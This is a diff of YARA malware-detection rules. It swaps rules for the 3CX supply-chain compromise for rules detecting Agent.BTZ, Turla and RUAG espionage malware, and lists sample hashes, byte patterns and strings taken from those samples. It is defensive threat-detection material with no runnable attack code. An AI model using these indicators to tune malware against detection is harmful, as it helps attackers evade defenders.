-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_3cx_compromise_mar23.yar#L100-L117"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8324b537b149ad3816b12ae0f887f66a284a8e1ef4fe7cf51eb21d59c0f055b9"
-		score = 70
+		reference = "http://www.intezer.com/new-variants-of-agent-btz-comrat-found/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_agent_btz.yar#L13-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ea430b2888b487a5c7a91b73e8a7893b53d67e8ac95ae85fe9d15c633b2ee660"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
-		hash2 = "59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983"
-		hash3 = "aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868"
-		hash4 = "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9c163c3f2bd5c5181147c6f4cf2571160197de98f496d16b38c7dc46b5dc1426"
+		hash2 = "628d316a983383ed716e3f827720915683a8876b54677878a7d2db376d117a24"
 
 	strings:
-		$x1 = "3jB(2bsG#@c7"
+		$s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Modules" fullword wide
 
 	condition:
-		( uint16(0)==0xcfd0 or uint16(0)==0x5a4d) and $x1
+		( uint16(0)==0x5a4d and filesize <300KB and all of them and pe.exports("Entry"))
 }
 import "pe"
 
-rule SIGNATURE_BASE_SUSP_3CX_App_Signed_Binary_Mar23_1 : FILE
+rule SIGNATURE_BASE_Agent_BTZ_Proxy_DLL_2 : FILE
 {
 	meta:
-		description = "Detects 3CX application binaries signed with a certificate and created in a time frame in which other known malicious binaries have been created"
+		description = "Detects Agent-BTZ Proxy DLL - activeds.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b6ce4c1d-1b7b-5e0c-af4c-05cb3ad0a4e0"
-		date = "2023-03-29"
+		id = "2777443d-6f63-5948-855a-e064a6e0310f"
+		date = "2017-08-07"
 		modified = "2023-12-05"
-		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_3cx_compromise_mar23.yar#L119-L139"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3834b5ebb5a0db27a452fda1c97c921b2c9c8702505738232b15a3ed4a47dc47"
-		score = 65
+		reference = "http://www.intezer.com/new-variants-of-agent-btz-comrat-found/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_agent_btz.yar#L29-L52"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "41960e6deaee5d087b0eeee515b323cef8ead45ad305d053f6eb1897e204b003"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405"
-		hash2 = "dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc"
+		hash1 = "73db4295c5b29958c5d93c20be9482c1efffc89fc4e5c8ba59ac9425a4657a88"
+		hash2 = "380b0353ba8cd33da8c5e5b95e3e032e83193019e73c71875b58ec1ed389bdac"
+		hash3 = "f27e9bba6a2635731845b4334b807c0e4f57d3b790cecdc77d8fef50629f51a2"
 
 	strings:
-		$sa1 = "3CX Ltd1"
-		$sa2 = "3CX Desktop App" wide
-		$sc1 = { 1B 66 11 DF 9C 9A 4D 6E CC 8E D5 0C 9B 91 78 73 }
+		$s1 = { 38 21 38 2C 38 37 38 42 38 4D 38 58 38 63 38 6E
+               38 79 38 84 38 8F 38 9A 38 A5 38 B0 38 BB 38 C6
+               38 D1 38 DC 38 E7 38 F2 38 FD 38 08 39 13 39 1E
+               39 29 39 34 39 3F 39 4A 39 55 39 60 39 6B 39 76
+               39 81 39 8C 39 97 39 A2 39 AD 39 B8 39 C3 39 CE
+               39 D9 39 E4 39 EF 39 FA 39 05 3A 10 3A 1B 3A 26
+               3A 31 3A 3C 3A 47 3A 52 3A 5D 3A 68 3A 73 3A 7E
+               3A 89 3A 94 3A 9F 3A AA 3A B5 3A C0 3A CB 3A D6
+               3A E1 3A EC 3A F7 3A }
+		$s2 = "activeds.dll" ascii fullword
 
 	condition:
-		uint16(0)==0x5a4d and pe.timestamp>1669680000 and pe.timestamp<1680108505 and all of ($sa*) and $sc1
+		uint16(0)==0x5a4d and filesize <200KB and all of them and pe.imphash()=="09b7c73fbe5529e6de7137e3e8268b7b"
 }
 import "pe"
 
-rule SIGNATURE_BASE_SUSP_3CX_MSI_Signed_Binary_Mar23_1 : FILE
+rule SIGNATURE_BASE_Agent_BTZ_Aug17 : FILE
 {
 	meta:
-		description = "Detects 3CX MSI installers signed with a known compromised certificate and signed in a time frame in which other known malicious binaries have been signed"
+		description = "Detects Agent.BTZ"
 		author = "Florian Roth (Nextron Systems)"
-		id = "15d6d8ca-6982-5095-9879-ce97269a71c6"
-		date = "2023-03-29"
+		id = "31804208-3edb-554b-8820-e682db647435"
+		date = "2017-08-07"
 		modified = "2023-12-05"
-		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_3cx_compromise_mar23.yar#L141-L166"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b0fa9821a02803473ce8139b19d005968b03c9765cff5b9ae5428a259d88cc9f"
-		score = 60
+		reference = "http://www.intezer.com/new-variants-of-agent-btz-comrat-found/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_agent_btz.yar#L54-L73"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cf4fc7820d516cf0322bf25460301b4d04f914814fc2a069164814dd4e1158be"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868"
-		hash2 = "59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983"
+		hash1 = "6ad78f069c3619d0d18eef8281219679f538cfe0c1b6d40b244beb359762cf96"
+		hash2 = "49c5c798689d4a54e5b7099b647b0596fb96b996a437bb8241b5dd76e974c24e"
+		hash3 = "e88970fa4892150441c1616028982fe63c875f149cd490c3c910a1c091d3ad49"
 
 	strings:
-		$a1 = { 84 10 0C 00 00 00 00 00 C0 00 00 00 00 00 00 46 }
-		$sc1 = { 1B 66 11 DF 9C 9A 4D 6E CC 8E D5 0C 9B 91 78 73 }
-		$s1 = "3CX Ltd1"
-		$s2 = "202303"
+		$s1 = "stdole2.tlb" fullword ascii
+		$s2 = "UnInstallW" fullword ascii
 
 	condition:
-		uint16(0)==0xcfd0 and $a1 and $sc1 and ($s1 in ( filesize -20000.. filesize ) and $s2 in ( filesize -20000.. filesize ))
+		( uint16(0)==0x5a4d and filesize <900KB and all of them and pe.exports("Entry") and pe.exports("InstallW") and pe.exports("UnInstallW"))
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_MAL_Macos_NK_3CX_Malicious_Samples_Mar23_1 : FILE
+rule SIGNATURE_BASE_APT_Turla_Agent_BTZ_Gen_1 : FILE
 {
 	meta:
-		description = "Detects malicious macOS application related to 3CX compromise (decrypted payload)"
+		description = "Detects Turla Agent.BTZ"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ff39e577-7063-5025-bead-68394a86c87c"
-		date = "2023-03-30"
+		id = "d5e1dd3d-4f03-5f79-898b-e612d2758b60"
+		date = "2018-06-16"
 		modified = "2023-12-05"
-		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_3cx_compromise_mar23.yar#L168-L184"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c2733c2f7dcca82e5a0b2301777fb54853d04dfa893bcf88ecbec34d37e1a38a"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_agent_btz.yar#L75-L106"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8616d95e683f213916f06a7bf672ced90b2fa55cb4331176021614b4f0b03aed"
 		score = 80
 		quality = 85
 		tags = "FILE"
-		hash1 = "b86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb"
-		hash2 = "ac99602999bf9823f221372378f95baa4fc68929bac3a10e8d9a107ec8074eca"
-		hash3 = "51079c7e549cbad25429ff98b6d6ca02dc9234e466dd9b75a5e05b9d7b95af72"
+		hash1 = "c905f2dec79ccab115ad32578384008696ebab02276f49f12465dcd026c1a615"
 
 	strings:
-		$s1 = "20230313064152Z0"
-		$s2 = "Developer ID Application: 3CX (33CF4654HL)"
+		$x1 = "1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s" fullword ascii
+		$s1 = "release mutex - %u (%u)(%u)" fullword ascii
+		$s2 = "\\system32\\win.com" ascii
+		$s3 = "Command Id:%u%010u(%02d:%02d:%02d %02d/%02d/%04d)" fullword ascii
+		$s4 = "MakeFile Error(%d) copy file to temp file %s" fullword ascii
+		$s5 = "%s%%s08x.tmp" fullword ascii
+		$s6 = "Run instruction: %d ID:%u%010u(%02d:%02d:%02d %02d/%02d/%04d)" fullword ascii
+		$s7 = "Mutex_Log" fullword ascii
+		$s8 = "%s\\system32\\winview.ocx" fullword ascii
+		$s9 = "Microsoft(R) Windows (R) Operating System" fullword wide
+		$s10 = "Error: pos(%d) > CmdSize(%d)" fullword ascii
+		$s11 = "\\win.com" ascii
+		$s12 = "Error(%d) run %s " fullword ascii
+		$s13 = "%02d.%02d.%04d Log begin:" fullword ascii
 
 	condition:
-		( uint16(0)==0xfeca or uint16(0)==0xfacf or uint32(0)==0xbebafeca) and all of them
+		uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="9d0d6daa47d6e6f2d80eb05405944f87" or (pe.exports("Entry") and pe.exports("InstallM") and pe.exports("InstallS")) or $x1 or 3 of them ) or (5 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_MAL_Macos_NK_3CX_DYLIB_Mar23_1
+rule SIGNATURE_BASE_Turla_APT_Srsvc : TURLA FILE
 {
 	meta:
-		description = "Detects malicious DYLIB files related to 3CX compromise"
+		description = "Detects Turla malware (based on sample used in the RUAG APT case)"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a19904d3-9b2d-561f-b734-20bf09584fa7"
-		date = "2023-03-30"
+		id = "951ee9f8-1ab0-5fd5-be9b-053ec82f6ea2"
+		date = "2016-06-09"
 		modified = "2023-12-05"
-		reference = "https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_3cx_compromise_mar23.yar#L188-L214"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e52c76de1e995cc7084ddb390b60f4bc66e5bdf89aaa28ef3fd70578ed3145a6"
-		score = 80
+		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla.yar#L10-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "76bd2aacde66114090d1c1767da64728219230964a0bc78a5d830819c46bac3a"
+		score = 75
 		quality = 85
-		tags = ""
-		hash1 = "a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67"
-		hash2 = "fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7"
+		tags = "TURLA, FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		family = "Turla"
+		hash1 = "65996f266166dbb479a42a15a236e6564f0b322d5d68ee546244d7740a21b8f7"
+		hash2 = "25c7ff1eb16984a741948f2ec675ab122869b6edea3691b01d69842a53aa3bac"
 
 	strings:
-		$xc1 = { 37 15 00 13 16 16 1B 55 4F 54 4A 5A 52 2D 13 14
-               1E 15 0D 09 5A 34 2E 5A 4B 4A 54 4A 41 5A 2D 13
-               14 4C 4E 41 5A 02 4C 4E 53 5A 3B 0A 0A 16 1F 2D
-               1F 18 31 13 0E 55 4F 49 4D 54 49 4C 5A 52 31 32
-               2E 37 36 56 5A 16 13 11 1F 5A 3D 1F 19 11 15 53
-               5A 39 12 08 15 17 1F 55 4B 4A 42 54 4A 54 4F 49
-               4F 43 54 4B 48 42 5A 29 1B 1C 1B 08 13 55 4F 49
-               4D 54 49 4C 7A }
-		$xc2 = { 41 49 19 02 25 1b 0f 0e 12 25 0e 15 11 1f 14 25 19 15 14 0e 1f 14 0e 47 5f 09 41 25 25 0e 0f 0e 17 1b 47 }
-		$xc3 = { 55 29 03 09 0e 1f 17 55 36 13 18 08 1b 08 03 55 39 15 08 1f 29 1f 08 0c 13 19 1f 09 55 29 03 09 0e 1f 17 2c 1f 08 09 13 15 14 54 0a 16 13 09 0e }
+		$x1 = "SVCHostServiceDll.dll" fullword ascii
+		$s2 = "msimghlp.dll" fullword wide
+		$s3 = "srservice" fullword wide
+		$s4 = "ModStart" fullword ascii
+		$s5 = "ModStop" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <20KB and (1 of ($x*) or all of ($s*))) or ( all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_SUSP_NK_3CX_Malicious_Samples_Mar23_1
+rule SIGNATURE_BASE_Turla_APT_Malware_Gen1 : TURLA FILE
 {
 	meta:
-		description = "Detects indicator (event name) found in samples related to 3CX compromise"
+		description = "Detects Turla malware (based on sample used in the RUAG APT case)"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b233846a-19df-579b-a674-233d66824008"
-		date = "2023-03-30"
+		id = "7ead2da1-3544-5a26-8767-6d3f29de8b96"
+		date = "2016-06-09"
 		modified = "2023-12-05"
-		reference = "https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_3cx_compromise_mar23.yar#L216-L232"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6ab8a4ac184eaba6eb56bfc49d6fa03f9b0877d75294aa9a242e9ac96482fab0"
-		score = 70
+		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla.yar#L33-L71"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3676d01d5e4044fd49292eb7b4376ff90f0a41141f89a19b13c5518b01257be3"
+		score = 75
 		quality = 85
-		tags = ""
-		hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
-		hash2 = "59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983"
-		hash3 = "aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868"
-		hash4 = "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"
+		tags = "TURLA, FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		family = "Turla"
+		hash1 = "0e1bf347c37fb199886f1e675e372ba55ac4627e8be2f05a76c2c64f9b6ed0e4"
+		hash2 = "7206075cd8f1004e8f1f759d46e98bfad4098b8642412811a214c0155a1f08b9"
+		hash3 = "fe3ffd7438c0d38484bf02a78a19ea81a6f51b4b3f2b2228bd21974c2538bbcd"
+		hash4 = "c49111af049dd9746c6b1980db6e150b2a79ca1569b23ed2cba81c85c00d82b4"
+		hash5 = "b62a643c96e2e41f639d2a8ce11d61e6b9d7fb3a9baf011120b7fec1b4ee3cf4"
+		hash6 = "edb12790b5cd959bc2e53a4b369a4fd747153e6c9d50f6a69ff047f7857a4348"
+		hash7 = "8f2ea0f916fda1dfb771f5441e919c561da5b6334b9f2fffcbf53db14063b24a"
+		hash8 = "8dddc744bbfcf215346c812aa569e49523996f73a1f22fe4e688084ce1225b98"
+		hash9 = "0c69258adcc97632b729e55664c22cd942812336d41e8ea0cff9ddcafaded20f"
+		hash10 = "2b4fba1ef06f85d1395945db40a9f2c3b3ed81b56fb9c2d5e5bb693c230215e2"
 
 	strings:
-		$a1 = "AVMonitorRefreshEvent" wide fullword
+		$x1 = "too long data for this type of transport" fullword ascii
+		$x2 = "not enough server resources to complete operation" fullword ascii
+		$x3 = "Task not execute. Arg file failed." fullword ascii
+		$x4 = "Global\\MSCTF.Shared.MUTEX.ZRX" fullword ascii
+		$s1 = "peer has closed the connection" fullword ascii
+		$s2 = "tcpdump.exe" fullword ascii
+		$s3 = "windump.exe" fullword ascii
+		$s4 = "dsniff.exe" fullword ascii
+		$s5 = "wireshark.exe" fullword ascii
+		$s6 = "ethereal.exe" fullword ascii
+		$s7 = "snoop.exe" fullword ascii
+		$s8 = "ettercap.exe" fullword ascii
+		$s9 = "miniport.dat" fullword ascii
+		$s10 = "net_password=%s" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <2000KB and (2 of ($x*) or 8 of ($s*))) or (12 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_MAL_NK_3CX_Malicious_Samples_Mar23_4
+rule SIGNATURE_BASE_RUAG_APT_Malware_Gen2 : FILE
 {
 	meta:
-		description = "Detects decrypted payload loaded inside 3CXDesktopApp.exe which downloads info stealer"
-		author = "MalGamy (Nextron Systems)"
-		id = "d11170df-570c-510c-80ec-39048acd0fbd"
-		date = "2023-03-29"
-		modified = "2023-12-05"
-		reference = "https://twitter.com/WhichbufferArda/status/1641404343323688964?s=20"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_3cx_compromise_mar23.yar#L234-L249"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "851c2c99ebafd4e5e9e140cfe3f2d03533846ca16f8151ae8ee0e83c692884b7"
-		logic_hash = "2fd56527a094b1f155cf33af402328835d4fb8aee9a058742d3e3763acef9e46"
-		score = 80
+		description = "Detects malware used in the RUAG APT case"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8a50e5d5-f16d-53c7-825c-a8e51c207eac"
+		date = "2016-06-09"
+		modified = "2023-01-06"
+		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla.yar#L73-L108"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "62c65a5c85930dd2a928508401113ffba28bc6a07188d9bf5c68234bea10e1aa"
+		score = 90
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		hash1 = "0e1bf347c37fb199886f1e675e372ba55ac4627e8be2f05a76c2c64f9b6ed0e4"
+		hash2 = "7206075cd8f1004e8f1f759d46e98bfad4098b8642412811a214c0155a1f08b9"
+		hash3 = "fe3ffd7438c0d38484bf02a78a19ea81a6f51b4b3f2b2228bd21974c2538bbcd"
+		hash4 = "c49111af049dd9746c6b1980db6e150b2a79ca1569b23ed2cba81c85c00d82b4"
 
 	strings:
-		$op1 = {41 69 D0 [4] 8B C8 C1 E9 ?? 33 C1 8B C8 C1 E1 ?? 81 C2 [4] 33 C1 43 8D 0C 02 02 C8 49 C1 EA ?? 41 88 0B 8B C8 C1 E1 ?? 33 C1 44 69 C2 [4] 8B C8 C1 E9 ?? 33 C1 8B C8 C1 E1 ?? 41 81 C0 [4] 33 C1 4C 0F AF CF 4D 03 CA 45 8B D1 4C 0F AF D7 41 8D 0C 11 49 C1 E9 ?? 02 C8}
-		$op2 = {4D 0F AF CC 44 69 C2 [4] 4C 03 C9 45 8B D1 4D 0F AF D4 41 8D 0C 11 41 81 C0 [4] 02 C8 49 C1 E9 ?? 41 88 4B ?? 4D 03 D1 8B C8 45 8B CA C1 E1 ?? 33 C1}
-		$op3 = {33 C1 4C 0F AF C7 8B C8 C1 E1 ?? 4D 03 C2 33 C1}
+		$x1 = "Internal command not support =((" ascii
+		$x2 = "L|-1|AS_CUR_USER:OpenProcessToken():%d, %s|" fullword ascii
+		$x3 = "L|-1|CreateProcessAsUser():%d, %s|" fullword ascii
+		$x4 = "AS_CUR_USER:OpenProcessToken():%d" fullword ascii
+		$x5 = "L|-1|AS_CUR_USER:LogonUser():%d, %s|" fullword ascii
+		$x6 = "L|-1|try to run dll %s with user priv|" fullword ascii
+		$x7 = "\\\\.\\Global\\PIPE\\sdlrpc" fullword ascii
+		$x8 = "\\\\%s\\pipe\\comnode" fullword ascii
+		$x9 = "Plugin dll stop failed." fullword ascii
+		$x10 = "AS_USER:LogonUser():%d" fullword ascii
+		$s1 = "MSIMGHLP.DLL" fullword wide
+		$s2 = "msimghlp.dll" fullword ascii
+		$s3 = "ximarsh.dll" fullword ascii
+		$s4 = "msximl.dll" fullword ascii
+		$s5 = "INTERNAL.dll" fullword ascii
+		$s6 = "\\\\.\\Global\\PIPE\\" ascii
+		$s7 = "ieuser.exe" fullword ascii
 
 	condition:
-		2 of them
+		( uint16(0)==0x5a4d and filesize <2000KB and (1 of ($x*) or 5 of ($s*))) or (10 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_MAL_3Cxdesktopapp_Macos_Backdoor_Mar23 : FILE
+rule SIGNATURE_BASE_Turla_APT_Malware_Gen3 : TURLA FILE
 {
 	meta:
-		description = "Detects 3CXDesktopApp MacOS Backdoor component"
-		author = "X__Junior (Nextron Systems)"
-		id = "80046c8e-0c2a-5885-b140-a6084f48160d"
-		date = "2023-03-30"
+		description = "Detects Turla malware (based on sample used in the RUAG APT case)"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8cb7d873-e4f9-553e-84e8-dbc0d31f65ab"
+		date = "2016-06-09"
 		modified = "2023-12-05"
-		reference = "https://www.volexity.com/blog/2023/03/30/3cx-supply-chain-compromise-leads-to-iconic-incident/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_3cx_compromise_mar23.yar#L251-L275"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67"
-		logic_hash = "777a0a29c376f3697021dd627e716c31bda7933c5f40a8fe79b80e3cea46ce43"
-		score = 80
+		reference = "https://www.govcert.admin.ch/blog/22/technical-report-about-the-ruag-espionage-case"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla.yar#L110-L150"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8c24cf71841efc974c8a4d8eb5662137592c1d454821c9beadc50d83cb19333c"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = "TURLA, FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		family = "Turla"
+		hash1 = "c49111af049dd9746c6b1980db6e150b2a79ca1569b23ed2cba81c85c00d82b4"
+		hash2 = "b62a643c96e2e41f639d2a8ce11d61e6b9d7fb3a9baf011120b7fec1b4ee3cf4"
+		hash3 = "edb12790b5cd959bc2e53a4b369a4fd747153e6c9d50f6a69ff047f7857a4348"
+		hash4 = "8f2ea0f916fda1dfb771f5441e919c561da5b6334b9f2fffcbf53db14063b24a"
+		hash5 = "8dddc744bbfcf215346c812aa569e49523996f73a1f22fe4e688084ce1225b98"
+		hash6 = "0c69258adcc97632b729e55664c22cd942812336d41e8ea0cff9ddcafaded20f"
+		hash7 = "2b4fba1ef06f85d1395945db40a9f2c3b3ed81b56fb9c2d5e5bb693c230215e2"
+		hash8 = "7206075cd8f1004e8f1f759d46e98bfad4098b8642412811a214c0155a1f08b9"
+		hash9 = "edb12790b5cd959bc2e53a4b369a4fd747153e6c9d50f6a69ff047f7857a4348"
 
 	strings:
-		$sa1 = "%s/.main_storage" ascii fullword
-		$sa2 = "%s/UpdateAgent" ascii fullword
-		$op1 = { 31 C0 41 80 34 06 ?? 48 FF C0 48 83 F8 ?? 75 ?? BE ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 F7 48 89 D9 E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 F7 5B 41 5E 41 5F E9 ?? ?? ?? ?? 5B 41 5E 41 5F C3}
-		$op2 = { 0F 11 84 24 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 31 C0 80 B4 04 ?? ?? ?? ?? ?? 48 FF C0}
+		$x1 = "\\\\.\\pipe\\sdlrpc" fullword ascii
+		$x2 = "WaitMutex Abandoned %p" fullword ascii
+		$x3 = "OPER|Wrong config: no port|" fullword ascii
+		$x4 = "OPER|Wrong config: no lastconnect|" fullword ascii
+		$x5 = "OPER|Wrong config: empty address|" fullword ascii
+		$x6 = "Trans task %d obj %s ACTIVE fail robj %s" fullword ascii
+		$x7 = "OPER|Wrong config: no auth|" fullword ascii
+		$x8 = "OPER|Sniffer '%s' running... ooopppsss...|" fullword ascii
+		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\User Agent\\Post Platform" fullword ascii
+		$s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\User Agent\\Pre Platform" fullword ascii
+		$s3 = "www.yahoo.com" fullword ascii
+		$s4 = "MSXIML.DLL" fullword wide
+		$s5 = "www.bing.com" fullword ascii
+		$s6 = "%s: http://%s%s" fullword ascii
+		$s7 = "/javascript/view.php" fullword ascii
+		$s8 = "Task %d failed %s,%d" fullword ascii
+		$s9 = "Mozilla/4.0 (compatible; MSIE %d.0; " fullword ascii
 
 	condition:
-		(( uint16(0)==0xfeca or uint16(0)==0xfacf or uint32(0)==0xbebafeca) and filesize <6MB and ((1 of ($sa*) and 1 of ($op*)) or all of ($sa*))) or ( all of ($op*))
+		( uint16(0)==0x5a4d and filesize <2000KB and (1 of ($x*) or 6 of ($s*))) or (10 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_MAL_NK_3CX_ICONIC_Stealer_Mar23_1 : FILE
+rule SIGNATURE_BASE_Turla_Mal_Script_Jan18_1 : FILE
 {
 	meta:
-		description = "Detects ICONIC stealer payload used in the 3CX incident"
+		description = "Detects Turla malicious script"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e92b5b90-1146-5235-9711-a4d42689c49b"
-		date = "2023-03-31"
+		id = "4b550b3c-182c-5dc0-b2d2-13925c22be81"
+		date = "2018-01-19"
 		modified = "2023-12-05"
-		reference = "https://github.com/volexity/threat-intel/blob/main/2023/2023-03-30%203CX/attachments/iconicstealer.7z"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_mal_3cx_compromise_mar23.yar#L279-L304"
